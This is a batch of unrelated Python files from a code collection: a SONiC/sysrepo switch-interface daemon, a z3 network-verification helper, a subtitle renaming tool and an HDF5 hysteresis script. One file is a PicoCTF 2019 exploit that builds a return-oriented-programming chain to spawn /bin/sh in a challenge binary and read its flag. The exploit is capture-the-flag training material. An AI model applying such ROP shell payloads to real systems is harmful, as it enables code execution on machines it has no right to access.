self.get_counter(ifname, "SAI_PORT_STAT_IF_IN_ERRORS") elif req_xpath.endswith("in-unknown-protos"): req_xpath = req_xpath.replace(path_prefix, "") ifname = req_xpath.replace("']/statistics/in-unknown-protos", "") return self.get_counter(ifname, "SAI_PORT_STAT_IF_IN_UNKNOWN_PROTOS") elif req_xpath.endswith("out-octets"): req_xpath = req_xpath.replace(path_prefix, "") ifname = req_xpath.replace("']/statistics/out-octets", "") return self.get_counter(ifname, "SAI_PORT_STAT_IF_OUT_OCTETS") elif req_xpath.endswith("out-unicast-pkts"): req_xpath = req_xpath.replace(path_prefix, "") ifname = req_xpath.replace("']/statistics/out-unicast-pkts", "") return self.get_counter(ifname, "SAI_PORT_STAT_IF_OUT_UCAST_PKTS") elif req_xpath.endswith("out-broadcast-pkts"): req_xpath = req_xpath.replace(path_prefix, "") ifname = req_xpath.replace("']/statistics/out-broadcast-pkts", "") return self.get_counter(ifname, "SAI_PORT_STAT_IF_OUT_BROADCAST_PKTS") elif req_xpath.endswith("out-multicast-pkts"): req_xpath = req_xpath.replace(path_prefix, "") ifname = req_xpath.replace("']/statistics/out-multicast-pkts", "") return self.get_counter(ifname, "SAI_PORT_STAT_IF_OUT_MULTICAST_PKTS") elif req_xpath.endswith("out-discards"): req_xpath = req_xpath.replace(path_prefix, "") ifname = req_xpath.replace("']/statistics/out-discards", "") return self.get_counter(ifname, "SAI_PORT_STAT_IF_OUT_DISCARDS") elif req_xpath.endswith("out-errors"): req_xpath = req_xpath.replace(path_prefix, "") ifname = req_xpath.replace("']/statistics/out-errors", "") return self.get_counter(ifname, "SAI_PORT_STAT_IF_OUT_ERRORS") def interface_oper_cb(self, req_xpath): # Changing to operational datastore to fetch data # for the unconfigurable params in the xpath, data will # be fetched from Redis and complete data will be returned. # Use 'no_subs=True' parameter in oper_cb to fetch data from operational # datastore and to avoid locking of sysrepo db self.sess.switch_datastore("operational") r = {} path_list = req_xpath.split("/") statistic_leaves = [ "in-octets", "in-unicast-pkts", "in-broadcast-pkts", "in-multicast-pkts", "in-discards", "in-errors", "in-unknown-protos", "out-octets", "out-unicast-pkts", "out-broadcast-pkts", "out-multicast-pkts", "out-discards", "out-errors", ] if len(path_list) <= 3: r = self.sess.get_data(req_xpath, no_subs=True) if r == {}: return r else: for intf in r["interfaces"]["interface"]: ifname = intf["name"] xpath = ( f"/goldstone-interfaces:interfaces/interface[name='{ifname}']" ) oper_status = self.get_oper_data(xpath + "/oper-status") if oper_status != None: intf["oper-status"] = oper_status xpath = f"/goldstone-interfaces:interfaces/interface[name='{ifname}']/statistics" intf["statistics"] = {} for sl in statistic_leaves: sl_value = self.get_oper_data(xpath + "/" + sl) if sl_value != None: intf["statistics"][sl] = sl_value return r elif req_xpath[-10:] == "statistics": xpath_T = req_xpath.replace("/statistics", "") r = self.sess.get_data(xpath_T, no_subs=True) if r == {}: return r else: for intf in r["interfaces"]["interface"]: ifname = intf["name"] intf["statistics"] = {} xpath = f"/goldstone-interfaces:interfaces/interface[name='{ifname}']/statistics" for sl in statistic_leaves: sl_value = self.get_oper_data(xpath + "/" + sl) if sl_value != None: intf["statistics"][sl] = sl_value return r elif ( path_list[len(path_list) - 1] in statistic_leaves or path_list[len(path_list) - 1] == "oper-status" ): xpath_T = req_xpath.replace( "/statistics/" + path_list[len(path_list) - 1], "" ) xpath_T = xpath_T.replace("/oper-status", "") r = self.sess.get_data(xpath_T, no_subs=True) if r == {}: return r else: for intf in r["interfaces"]["interface"]: ifname = intf["name"] if path_list[len(path_list) - 1] == "oper-status": value = self.get_oper_data(req_xpath) if value != None: intf["oper-status"] = value else: intf["statistics"] = {} value = self.get_oper_data(req_xpath) if value != None: intf["statistics"][path_list[len(path_list) - 1]] = value return r return r def oper_cb(self, sess, xpath, req_xpath, parent, priv): logger.debug( "****************************inside oper-callback******************************" ) if self.is_usonic_rebooting: logger.debug("usonic is rebooting. no handling done in oper-callback") return if req_xpath.find("/goldstone-interfaces:interfaces") == 0: return self.interface_oper_cb(req_xpath) def cache_counters(self): self.counter_if_dict = {} for key in self.get_config_db_keys("PORT|Ethernet*"): ifname = key.split("|")[1] key = _decode( self.sonic_db.get(self.sonic_db.COUNTERS_DB, COUNTER_PORT_MAP, ifname) ) if not key: continue tmp_counter_dict = {} counter_key = COUNTER_TABLE_PREFIX + key for counter_name in self.counter_dict.keys(): counter_data = _decode( self.sonic_db.get( self.sonic_db.COUNTERS_DB, counter_key, counter_name ) ) tmp_counter_dict[counter_name] = counter_data self.counter_if_dict[ifname] = tmp_counter_dict def enable_counters(self): # This is similar to "counterpoll port enable" value = {"FLEX_COUNTER_STATUS": "enable"} self.sonic_configdb.mod_entry("FLEX_COUNTER_TABLE", "PORT", value) def clear_counters(self, xpath, input_params, event, priv): logger.debug( f"clear_counters: xpath: {xpath}, input: {input}, event: {event}, priv: {priv}" ) self.cache_counters() def pack_defaults_to_redis(self, ifname, leaf_node): if leaf_node == "mtu": self.sonic_db.set( self.sonic_db.CONFIG_DB, "PORT|" + ifname, "mtu", str(self.mtu_default), ) elif leaf_node == "speed" and not self.is_breakout_port(ifname): self.sonic_db.set( self.sonic_db.CONFIG_DB, "PORT|" + ifname, "speed", self.speed_default, ) def reconcile(self): self.sess.switch_datastore("running") intf_data = self.sess.get_data("/goldstone-interfaces:interfaces") if "interfaces" in intf_data: intf_list = intf_data["interfaces"]["interface"] for intf in intf_list: name = intf.pop("name") logger.debug(f"interface config: {intf}") for key in intf: if key == "ipv4": if "mtu" in intf[key]: self.sonic_db.set( self.sonic_db.CONFIG_DB, "PORT|" + name, "mtu", str(intf[key]["mtu"]), ) elif key == "description": self.sonic_db.set( self.sonic_db.CONFIG_DB, "PORT|" + name, "description", str(intf[key]), ) elif key == "alias": self.sonic_db.set( self.sonic_db.CONFIG_DB, "PORT|" + name, "alias", str(intf[key]), ) elif key == "admin-status": self.sonic_db.set( self.sonic_db.CONFIG_DB, "PORT|" + name, "admin_status", str(intf[key]), ) elif key == "if-index": pass elif key == "breakout": # Breakout configs are handled above pass else: self.sonic_db.set( self.sonic_db.CONFIG_DB, "PORT|" + name, key, str(intf[key]), ) vlan_data = self.sess.get_data("/goldstone-vlan:vlan") if "vlan" in vlan_data: logger.debug(f"vlan config: {vlan_data}") if "VLAN" in vlan_data["vlan"]: vlan_list = vlan_data["vlan"]["VLAN"]["VLAN_LIST"] for vlan in vlan_list: name = vlan.pop("name") for key in vlan: if key == "members": self.sonic_db.set( self.sonic_db.CONFIG_DB, "VLAN|" + name, "members@", ",".join(vlan[key]), ) else: self.sonic_db.set( self.sonic_db.CONFIG_DB, "VLAN|" + name, key, str(vlan[key]), ) if "VLAN_MEMBER" in vlan_data["vlan"]: vlan_member_list = vlan_data["vlan"]["VLAN_MEMBER"]["VLAN_MEMBER_LIST"] for vlan_member in vlan_member_list: self.sonic_db.set( self.sonic_db.CONFIG_DB, "VLAN_MEMBER|" + vlan_member["name"] + "|" + vlan_member["ifname"], "tagging_mode", vlan_member["tagging_mode"], ) for key in self.get_config_db_keys("PORT|Ethernet*"): ifname = key.split("|")[1] intf_data = self.sonic_db.get_all(self.sonic_db.CONFIG_DB, key) intf_keys = [v.decode("ascii") for v in list(intf_data.keys())] if "admin_status" not in intf_keys: self.sonic_db.set( self.sonic_db.CONFIG_DB, "PORT|" + ifname, "admin_status", "down", ) if "mtu" not in intf_keys: self.sonic_db.set( self.sonic_db.CONFIG_DB, "PORT|" + ifname, "mtu", str(self.mtu_default), ) def update_oper_db(self): logger.debug("updating operational db") with self.conn.start_session() as sess: sess.switch_datastore("operational") try: v = sess.get_data("/goldstone-interfaces:*", no_subs=True) logger.debug(f"interface oper ds before delete: {v}") # clear the intf operational ds and build it from scratch sess.delete_item("/goldstone-interfaces:interfaces") v = sess.get_data("/goldstone-interfaces:*", no_subs=True) logger.debug(f"interface oper ds after delete: {v}") except Exception as e: logger.debug(e) hash_keys = self.sonic_db.keys( self.sonic_db.APPL_DB, pattern="PORT_TABLE:Ethernet*" ) if hash_keys != None: hash_keys = map(_decode, hash_keys) for _hash in hash_keys: ifname = _hash.split(":")[1] xpath = ( f"/goldstone-interfaces:interfaces/interface[name='{ifname}']" ) intf_data = self.sonic_db.get_all(self.sonic_db.APPL_DB, _hash) logger.debug(f"key: {_hash}, value: {intf_data}") for key in intf_data: value = _decode(intf_data[key]) key = _decode(key) if key == "alias" or key == "description": sess.set_item(f"{xpath}/{key}", value) elif key == "admin_status": if value == None: value = "down" sess.set_item(f"{xpath}/admin-status", value) breakout_parent_dict = {} for key in self.get_config_db_keys("PORT|Ethernet*"): ifname = key.split("|")[1] intf_data = self.sonic_db.get_all(self.sonic_db.CONFIG_DB, key) logger.debug(f"config db entry: key: {key}, value: {intf_data}") xpath = f"/goldstone-interfaces:interfaces/interface[name='{ifname}']" xpath_subif_breakout = f"{xpath}/breakout" # TODO use the parent leaf to detect if this is a sub-interface or not # using "_1" is vulnerable to the interface nameing schema change if not ifname.endswith("_1") and ifname.find("_") != -1: _ifname = ifname.split("_") tmp_ifname = _ifname[0] + "_1" if tmp_ifname in breakout_parent_dict.keys(): breakout_parent_dict[tmp_ifname] = ( breakout_parent_dict[tmp_ifname] + 1 ) else: breakout_parent_dict[tmp_ifname] = 1 logger.debug( f"ifname: {ifname}, breakout_parent_dict: {breakout_parent_dict}" ) sess.set_item(f"{xpath_subif_breakout}/parent", tmp_ifname) for key in intf_data: value = _decode(intf_data[key]) key = _decode(key) if key == "mtu": sess.set_item(f"{xpath}/goldstone-ip:ipv4/{key}", value) elif ( key != "index" and key != "phys-address" and key != "admin_status" and key != "alias" and key != "description" and key != "breakout" ): sess.set_item(f"{xpath}/{key}", value) for key in breakout_parent_dict: xpath_parent_breakout = ( f"/goldstone-interfaces:interfaces/interface[name='{key}']/breakout" ) speed = self.sonic_db.get( self.sonic_db.CONFIG_DB, "PORT|" + key, "speed" ) logger.debug(f"key: {key}, speed: {speed}") if speed != None: sess.set_item( f"{xpath_parent_breakout}/num-channels", breakout_parent_dict[key] + 1, ) sess.set_item( f"{xpath_parent_breakout}/channel-speed", speed_to_yang_val(speed), ) else: logger.warn( f"Breakout interface:{key} doesnt has speed attribute in Redis" ) hash_keys = self.sonic_db.keys( self.sonic_db.CONFIG_DB, pattern="VLAN|Vlan*" ) # clear the VLAN operational ds and build it from scratch try: v = sess.get_data("/goldstone-vlan:*", no_subs=True) logger.debug(f"VLAN oper ds before delete: {v}") # clear the intf operational ds and build it from scratch sess.delete_item("/goldstone-vlan:vlan") v = sess.get_data("/goldstone-vlan:*", no_subs=True) logger.debug(f"VLAN oper ds after delete: {v}") except Exception as e: logger.debug(e) if hash_keys != None: hash_keys = map(_decode, hash_keys) for _hash in hash_keys: name = _hash.split("|")[1] xpath = f"/goldstone-vlan:vlan/VLAN/VLAN_LIST[name='{name}']" vlanDATA = self.sonic_db.get_all(self.sonic_db.CONFIG_DB, _hash) for key in vlanDATA: logger.debug(f"vlan config: {vlanDATA}") value = _decode(vlanDATA[key]) key = _decode(key) if key == "members@": member_list = value.split(",") for member in member_list: sess.set_item(f"{xpath}/members", member) else: sess.set_item(f"{xpath}/{key}", value) hash_keys = self.sonic_db.keys( self.sonic_db.CONFIG_DB, pattern="VLAN_MEMBER|Vlan*|Ethernet*" ) if hash_keys != None: hash_keys = map(_decode, hash_keys) for _hash in hash_keys: name, ifname = _hash.split("|")[1:] xpath = f"/goldstone-vlan:vlan/VLAN_MEMBER/VLAN_MEMBER_LIST[name='{name}'][ifname='{ifname}']" member_data = self.sonic_db.get_all(self.sonic_db.CONFIG_DB, _hash) for key in member_data: value = _decode(member_data[key]) key = _decode(key) sess.set_item(f"{xpath}/{key}", value) try: sess.apply_changes(timeout_ms=5000, wait=True) except sysrepo.SysrepoTimeOutError as e: logger.warn(f"update oper ds timeout: {e}") sess.apply_changes(timeout_ms=5000, wait=True) def event_handler(self, msg): try: key = _decode(msg["channel"]) key = key.replace("__keyspace@0__:", "") name = key.replace("PORT_TABLE:", "") oper_status = _decode( self.sonic_db.get(self.sonic_db.APPL_DB, key, "oper_status") ) if name in self.notif_if: curr_oper_status = self.notif_if[name] else: curr_oper_status = "unknown" if curr_oper_status == oper_status: return eventname = "goldstone-interfaces:interface-link-state-notify-event" notif = { eventname: { "ifname": name, "oper-status": oper_status, } } with self.conn.start_session() as sess: ly_ctx = sess.get_ly_ctx() n = json.dumps(notif) logger.info(f"Notification: {n}") dnode = ly_ctx.parse_data_mem(n, fmt="json", notification=True) sess.notification_send_ly(dnode) self.notif_if[name] = oper_status except Exception as exp: logger.error(exp) pass async def start(self): logger.debug( "****************************inside start******************************" ) self.sonic_db.connect(self.sonic_db.CONFIG_DB) self.sonic_db.connect(self.sonic_db.APPL_DB) self.sonic_db.connect(self.sonic_db.COUNTERS_DB) logger.debug( "****************************reconciliation******************************" ) self.sess.switch_datastore("running") with self.sess.lock("goldstone-interfaces"): with self.sess.lock("goldstone-vlan"): # Calling breakout_update_usonic() is mandatory before initial reconcile # process, as gssouth-sonic will replace the interface names properly during # init if they have been modified. breakout_dict = {} is_updated = await self.breakout_update_usonic(breakout_dict) if is_updated: await self.watch_pods() else: self.cache_counters() self.reconcile() self.update_oper_db() self.is_usonic_rebooting = False self.sess.switch_datastore("running") self.sess.subscribe_module_change( "goldstone-interfaces", None, self.intf_change_cb, asyncio_register=True, ) self.sess.subscribe_module_change( "goldstone-vlan", None, self.vlan_change_cb ) logger.debug( "**************************after subscribe module change****************************" ) self.sess.subscribe_oper_data_request( "goldstone-interfaces", "/goldstone-interfaces:interfaces", self.oper_cb, oper_merge=True, ) self.sess.subscribe_rpc_call( "/goldstone-interfaces:clear_counters", self.clear_counters, ) cache = redis.Redis(REDIS_SERVICE_HOST, REDIS_SERVICE_PORT) pubsub = cache.pubsub() pubsub.psubscribe( **{"__keyspace@0__:PORT_TABLE:Ethernet*": self.event_handler} ) pubsub.run_in_thread(sleep_time=2) return [] def main(): async def _main(): loop = asyncio.get_event_loop() stop_event = asyncio.Event() loop.add_signal_handler(signal.SIGINT, stop_event.set) loop.add_signal_handler(signal.SIGTERM, stop_event.set) server = Server() try: tasks = await server.start() tasks.append(stop_event.wait()) done, pending = await asyncio.wait( tasks, return_when=asyncio.FIRST_COMPLETED ) logger.debug(f"done: {done}, pending: {pending}") for task in done: e = task.exception() if e: raise e finally: server.stop() parser = argparse.ArgumentParser() parser.add_argument("-v", "--verbose", action="store_true") args = parser.parse_args() fmt = "%(levelname)s %(module)s %(funcName)s l.%(lineno)d | %(message)s" if args.verbose: logging.basicConfig(level=logging.DEBUG, format=fmt) hpack = logging.getLogger("hpack") hpack.setLevel(logging.INFO) k8s = logging.getLogger("kubernetes_asyncio.client.rest") k8s.setLevel(logging.INFO) sysrepo.configure_logging(py_logging=True) else: logging.basicConfig(level=logging.INFO, format=fmt) asyncio.run(_main()) if __name__ == "__main__": main()

b648e09391a05b2c9e66d8b92aca8dc6fc2f228e

py

Python

PicoCTF 2019/Binary Exploitation/rop32/exploit.py

p-g-krish/CTF-Writeups

05ad6a9ecbc19ceb8890f4581dfee36f16d164aa

2018-06-26T09:49:42.000Z

2019-09-14T00:06:35.000Z

PicoCTF 2019/Binary Exploitation/rop32/exploit.py

p-g-krish/CTF-Writeups

05ad6a9ecbc19ceb8890f4581dfee36f16d164aa

2018-06-29T18:40:59.000Z

2018-07-09T20:29:41.000Z

PicoCTF 2019/Binary Exploitation/rop32/exploit.py

p-g-krish/CTF-Writeups

05ad6a9ecbc19ceb8890f4581dfee36f16d164aa

2019-10-03T14:52:43.000Z

2022-01-17T08:55:10.000Z

#!/usr/bin/env python2 from pwn import * from struct import pack BASE = 0x08048000 pop_esi = BASE+0x00001708 pop_edi = BASE+0x00001adb pop_ecx_ebx = BASE+0x00026e92 mov_ebx_eax_call_esi = BASE+0x0005b19c add_edi_ebx_jmp_edi = BASE+0x00045f38 pop_ebx = BASE+0x000001c9 pop_eax = BASE+0x00060e36 int_0x80 = BASE+0x000277a0 mov_edi_ebx_pop_ebx_esi_edi = BASE+0x00057471 add_edi_esi = BASE+0x00086edc jmp_edi = BASE+0x000237f1 something_got_plt = 0x080DA004 payload = "/bin/sh\x00AAAAAAAABBBBCCCCDDDD" payload += pack("<I",pop_edi) payload += pack("<I",something_got_plt) payload += pack("<I",pop_ebx) payload += pack("<I",pop_edi) payload += pack("<I",mov_edi_ebx_pop_ebx_esi_edi)#write pop_edi gadget in .got.plt payload += pack("<I",0) payload += pack("<I",0) payload += pack("<I",0) payload += pack("<I",pop_esi) payload += pack("<I",something_got_plt) #esi=&(pop_edi) payload += pack("<I",pop_ecx_ebx) payload += pack("<II",0,0)#ecx=0,ebx=0 p1 = (mov_ebx_eax_call_esi) / 2 # contains newline p2 = (mov_ebx_eax_call_esi) - p1 payload += pack("<I",pop_edi) payload += pack("<I",p1) payload += pack("<I",pop_ebx) payload += pack("<I",p2) payload += pack("<I",add_edi_ebx_jmp_edi) # -> mov_ebx_eax_call_esi -> pop_edi p1 = (pop_eax) / 2 # contains newline p2 = (pop_eax) - p1 payload += pack("<I",pop_edi) payload += pack("<I",p1) payload += pack("<I",pop_esi) payload += pack("<I",p2) payload += pack("<I",add_edi_esi) payload += pack("<I",jmp_edi) payload += pack("<I",0xb) # execve payload += pack("<I",int_0x80) p = process("./vuln") p.sendline(payload) p.sendline("cat flag.txt") p.interactive()

60ca7b24fcd10f8ed896ba4dc12cdd0fc8db7848

py

Python

utils/BM-8-Model-Functions.py

anonymous-authorss/Fairify

f698ae0d283414fb2c08aa4ae237da4f47d01f77

utils/BM-8-Model-Functions.py

anonymous-authorss/Fairify

f698ae0d283414fb2c08aa4ae237da4f47d01f77

utils/BM-8-Model-Functions.py

anonymous-authorss/Fairify

f698ae0d283414fb2c08aa4ae237da4f47d01f77

#!/usr/bin/env python3 # -*- coding: utf-8 -*- # reinterpret network symbolically using z3 variables. import sys from z3 import * import numpy as np import pandas as pd import collections import time import datetime from utils.verif_utils import * def ground_net(x): layer_outs = [] for i in range(len(w)): layer = [] for j in range(len(w[i][0])): sum = 0 for k in range(len(x)): sum += x[k] * w[i][k][j] sum += b[i][j] layer.append(sum) layer = np.asarray(layer, dtype=np.float64) y = layer if i == len(w)-1 else relu(layer) layer_outs.append(y) x = y return y def layer_net(x, w, b): layers = [] for i in range(len(w)): x1 = w[i].T @ x + b[i] y1 = x1 if i == len(w)-1 else relu(x1) layers.append(y1) x = y1 return layers def net(x, w, b): # for i in range(len(w)): # x1 = w[i].T @ x + b[i] # y1 = x1 if i == len(w)-1 else relu(x1) # x = y1 x1 = w[0].T @ x + b[0] y1 = relu(x1) x2 = w[1].T @ y1 + b[1] y2 = relu(x2) x3 = w[2].T @ y2 + b[2] y3 = relu(x3) x4 = w[3].T @ y3 + b[3] y4 = relu(x4) x5 = w[4].T @ y4 + b[4] y5 = relu(x5) x6 = w[5].T @ y5 + b[5] # y6 = softmax(y1) return x6 def z3_net(x, w, b): fl_x = np.array([FP('fl_x%s' % i, Float32()) for i in range(16)]) for i in range(len(x)): fl_x[i] = ToReal(x[i]) x1 = w[0].T @ fl_x + b[0] #x1 = w[0].T @ x + b[0] y1 = z3Relu(x1) x2 = w[1].T @ y1 + b[1] y2 = z3Relu(x2) x3 = w[2].T @ y2 + b[2] y3 = z3Relu(x3) x4 = w[3].T @ y3 + b[3] y4 = z3Relu(x4) x5 = w[4].T @ y4 + b[4] y5 = z3Relu(x5) x6 = w[5].T @ y5 + b[5] # y6 = softmax(y1) return x6

022985b790c3b3b81f240adb89fd27d63072c635

py

Python

SubtitleTools.py

icyplayer/AnimeTools

9159e5899c5263876b652f0e3b83112a4e9b58ce

SubtitleTools.py

icyplayer/AnimeTools

9159e5899c5263876b652f0e3b83112a4e9b58ce

SubtitleTools.py

icyplayer/AnimeTools

9159e5899c5263876b652f0e3b83112a4e9b58ce

""" For subtitle zip file unzip and rename to fit video file name, so as to auto-adde by video player while video file opened. Works under Python 2.7.10 """ import os import sys import zipfile #unzip def unzip(fileName): zfile = zipfile.ZipFile(fileName,'r') for filename in zfile.namelist(): data = zfile.read(filename) with open(filename, 'w+b') as file: file.write(data) print('%s unzipped' % fileName) #unzip files under path, ~/ as default def unzipFilePath(dir = os.getcwd()): list = os.listdir(dir) for fileName in list: if fileName.split('.uni_sub.')[-1] == 'zip': unzip(fileName) def renameFileUnderPath(dir = os.getcwd()): list = os.listdir(dir) for fileName in list: nameList = fileName.split('.') if nameList[-1] == 'ass': if nameList[1] == 'uni_gb': newName = nameList[0] + '.' + nameList[-1] os.renames(fileName, nameList[0]+'.'+'ass') print('renamed: %s => %s' % (fileName, newName)) if __name__ == '__main__': # print('Start unzipping...') # unzipFilePath() print('Start renaming...') renameFileUnderPath() print('Finished!') # # ref: http://www.sharejs.com/codes/python/210 # #zip all files under folder # f = zipfile.ZipFile('archive.zip','w',zipfile.ZIP_DEFLATED) # startdir = "c:\\mydirectory" # for dirpath, dirnames, filenames in os.walk(startdir): # for filename in filenames: # f.write(os.path.join(dirpath,filename)) # f.close() #zip # import zipfile # f = zipfile.ZipFile('archive.zip','w',zipfile.ZIP_DEFLATED) # f.write('file_to_add.py') # f.close()

828c3b8b442160aab2ae07be4cd78118134350e5

py

Python

hdf5_test.py

Morrighan89/Python-In-The-Lab_Project

dadcb6618eb6fcc39bc4812918ca0c56c22b4bd3

2017-05-03T17:56:02.000Z

2017-05-03T17:56:02.000Z

hdf5_test.py

Morrighan89/Python-In-The-Lab_Project

dadcb6618eb6fcc39bc4812918ca0c56c22b4bd3

hdf5_test.py

Morrighan89/Python-In-The-Lab_Project

dadcb6618eb6fcc39bc4812918ca0c56c22b4bd3

import glob, os, sys import h5py import numpy as np import matplotlib.pyplot as plt """ Basic script Open a HDF5 file of my simulation and compute the Hysteresis loop, saves data in an opportune file with specific naming pattern at the end plots the calculated loop. """ def calcoloMagnMedia(time,file,Volumes): data=np.array([]) dataset_Magnet = '/Magnetizzazione%s/Val'%(time) dataset_Hext = '/Hext%s/Val'%(time) #print(dataset_Magnet) datasetM = file[dataset_Magnet] #print(datasetM.shape, isinstance(datasetM,h5py.Dataset)) #magnetizzazione = np.matrix(datasetM[0:103,:]) magnetizzazione = np.matrix(datasetM[()]) #print(np.shape(magnetizzazione)) #proiez=np.dot(np.dot(magnetizzazione,versore),versoreT) proiezu = np.dot(magnetizzazione, versoreu) proiezv = np.dot(magnetizzazione, versorev) proiezw = np.dot(magnetizzazione, versorew) #print(proiez,i, "\n") datasetH = file[dataset_Hext] #print(datasetH.shape, isinstance(datasetH,h5py.Dataset)) #Hext= datasetH[0:103,0] Hext= datasetH[(0)] Hext = np.dot(np.dot(Hext, versoreu), np.reshape((1, 0, 0), (1, 3))) + np.dot(np.dot(Hext, versorev), np.reshape((0, 1, 0), (1, 3))) + np.dot( np.dot(Hext, versorew), np.reshape((0, 0, 1), (1, 3))) #np.savetxt("uffa",proiezu) mediau=np.average(proiezu,weights=Volumes) mediav=np.average(proiezv,weights=Volumes) mediaw=np.average(proiezw,weights=Volumes) data=np.append(data, [Hext[0], mediau, Hext[1], mediav, Hext[2], mediaw]) return data def calcoloMagnMediaDisks(time,file,Volumes,numDisks): data=np.array([]) dataset_Magnet = '/Magnetizzazione%s/Val'%(time) dataset_Hext = '/Hext%s/Val'%(time) #print(dataset_Magnet) datasetM = file[dataset_Magnet] #print(datasetM.shape, isinstance(datasetM,h5py.Dataset)) #magnetizzazione = np.matrix(datasetM[0:103,:]) magnetizzazione = np.matrix(datasetM[()]) #print(np.shape(magnetizzazione)) #proiez=np.dot(np.dot(magnetizzazione,versore),versoreT) proiezu = np.dot(magnetizzazione, versoreu) proiezv = np.dot(magnetizzazione, versorev) proiezw = np.dot(magnetizzazione, versorew) #print(Volumes[9:12], "\n") datasetH = file[dataset_Hext] #print(datasetH.shape, isinstance(datasetH,h5py.Dataset)) #Hext= datasetH[0:103,0] Hext= datasetH[(0)] Hext = np.dot(np.dot(Hext, versoreu), np.reshape((1, 0, 0), (1, 3))) + np.dot(np.dot(Hext, versorev), np.reshape((0, 1, 0), (1, 3))) + np.dot( np.dot(Hext, versorew), np.reshape((0, 0, 1), (1, 3))) #np.savetxt("uffa",proiezu) numElem=int(np.size(magnetizzazione,0)/numDisks) for i in range(1, numDisks+1): mediau=np.average(proiezu[(i-1)*numElem : i*numElem-1],weights=Volumes[(i-1)*numElem:i*numElem-1]) mediav=np.average(proiezv[(i-1)*numElem : i*numElem-1],weights=Volumes[(i-1)*numElem:i*numElem-1]) mediaw=np.average(proiezw[(i-1)*numElem : i*numElem-1],weights=Volumes[(i-1)*numElem:i*numElem-1]) data=np.append(data, [Hext[0], mediau, Hext[1], mediav, Hext[2], mediaw]) return data def calcoloEnergia(time,file,Volumes): data=np.array([]) dataset_Magnet = '/Magnetizzazione%s/Val'%(time) dataset_Hext = '/Hext%s/Val'%(time) dataset_Hms = '/Hms%s/Val'% (time) #print(dataset_Magnet) datasetM = file[dataset_Magnet] data_hms= file[dataset_Hms] hms=np.matrix(data_hms[()]) data_Hext = file[dataset_Hms] hext = np.matrix(data_Hext[()]) # magnetizzazione = np.matrix(datasetM[0:103,:]) magnetizzazione = np.matrix(datasetM[()]) enHms=-2*np.pi*1.e-7*np.einsum('ij, ij->i', hms, magnetizzazione) enHms =np.reshape(enHms, (-1, 1)) enHms= np.average(enHms,weights=Volumes) enZee=-4*np.pi*1.e-7*np.einsum('ij, ij->i',magnetizzazione, hext) enZee =np.reshape(enZee, (-1, 1)) enZee= np.average(enZee,weights=Volumes) #print(proiez,i, "\n") datasetH = file[dataset_Hext] data=np.append(data,[time, enHms,enZee]) return data if __name__ == '__main__': #mainDir = "W:\\Micro\\Riccardo\\cfr2d3d_3d_random\\2d3d" mainDir = "S:\\Alessandra\\2d3d\\Thermal" #mainDir= "W:\\Micro\\2d3d\\SquarePerCfr3D" #mainDir = "W:\\Micro\\Riccardo\\cfr2d3d_3d_random\\approx_noapprox" #mainDir = "W:\\Micro\\2d3d\\dot150\\n54" #mainDir = "W:\\Micro\\FePd\\d250" filename= "temp150n30c27d3cont_1.h5" outputfile=filename.split(".", 1)[0]+".dat" outputHystfile=outputfile.split("_", 1)[0]+"_Hyst_"+outputfile.split("_", 1)[1] outputEnergyfile=outputfile.split("_", 1)[0]+"_Energy_"+outputfile.split("_", 1)[1] print(outputfile) hdf5_file_name = os.path.join(mainDir, filename) dataset_numTimeSteps ='/Timesteps/TimeSteps#' dataset_Volumes ='/Volumes' event_number = 5 versoreu = np.array([[1],[0],[0]]) versorev = np.array([[0], [1], [0]]) versorew = np.array([[0],[0],[1]]) file = h5py.File(hdf5_file_name, 'r') # 'r' means that hdf5 file is open in read-only mode datasetTime=file[dataset_numTimeSteps] datasetVol=file[dataset_Volumes] numTimeSteps= datasetTime[(0)] print(numTimeSteps) mediau= np.array([]) mediav= np.array([]) mediaw= np.array([]) Hexternal=np.array([]) outputdata=np.array([]) outputdata2 = np.array([]) outputEner=np.array([]) Volumes=np.array(datasetVol[()]) numDisks=30 # for i in range(1,numTimeSteps): # #outputdata=np.append(outputdata,calcoloMagnMedia(int(i),file,Volumes)) # #outputEner = np.append(outputEner, calcoloEnergia(int(i), file, Volumes)) # outputdata = np.append(outputdata, calcoloMagnMediaDisks(int(i), file, Volumes,numDisks)) # print(np.shape(outputdata) , "np.shape outputdata") # # outputdata = np.reshape(outputdata, (-1, 6*(numDisks))) # #outputEner = np.reshape(outputEner, (-1, 3)) # #np.savetxt(os.path.join(mainDir, outputHystfile), outputdata, fmt='%26.18e') # #np.savetxt(os.path.join(mainDir, outputEnergyfile), outputEner, fmt='%26.18e') # for i in range(1, numDisks+1): # outputHystfile = outputfile.split("_", 1)[0] + "_Hyst_" + str(i) +"_"+ outputfile.split("_", 1)[1] # np.savetxt(os.path.join(mainDir, outputHystfile), outputdata[:, (i-1)*6:i*6], fmt='%26.18e') for i in range(1,numTimeSteps): outputdata2=np.append(outputdata2,calcoloMagnMedia(int(i),file,Volumes)) #outputEner = np.append(outputEner, calcoloEnergia(int(i), file, Volumes)) #outputdata = np.append(outputdata, calcoloMagnMediaDisks(int(i), file, Volumes,numDisks)) print(np.shape(outputdata2) , "np.shape outputdata") outputdata2 = np.reshape(outputdata2, (-1, 6)) #outputEner = np.reshape(outputEner, (-1, 3)) #np.savetxt(os.path.join(mainDir, outputHystfile), outputdata, fmt='%26.18e') #np.savetxt(os.path.join(mainDir, outputEnergyfile), outputEner, fmt='%26.18e') outputHystfile = outputfile.split("_", 1)[0] + "_Hyst_" + outputfile.split("_", 1)[1] np.savetxt(os.path.join(mainDir, outputHystfile), outputdata2, fmt='%26.18e') file.close() fig = plt.figure() ax = fig.add_subplot(111) lb = "u" ax.plot(outputdata2[1:-1, 0]/1000, outputdata2[1:-1, 1]/1000, label=lb) lb = "v" ax.plot(outputdata2[1:-1, 2]/1000, outputdata2[1:-1, 3]/1000, label=lb) lb = "w" ax.plot(outputdata2[1:-1, 4]/1000, outputdata2[1:-1, 5]/1000, label=lb) ax.legend(numpoints=1) ax.grid(True) #plt.plot(Hexternal, mediau) plt.show()

df8ed9fef65fcdc561976903b93466525ed08ade

py

Python

base/core/library/cache/__init__.py

B-ROY/TESTGIT

40221cf254c90d37d21afb981635740aebf11949

2017-12-02T13:58:30.000Z

2018-08-02T17:07:59.000Z

base/core/library/cache/__init__.py

B-ROY/TESTGIT

40221cf254c90d37d21afb981635740aebf11949

base/core/library/cache/__init__.py

B-ROY/TESTGIT

40221cf254c90d37d21afb981635740aebf11949

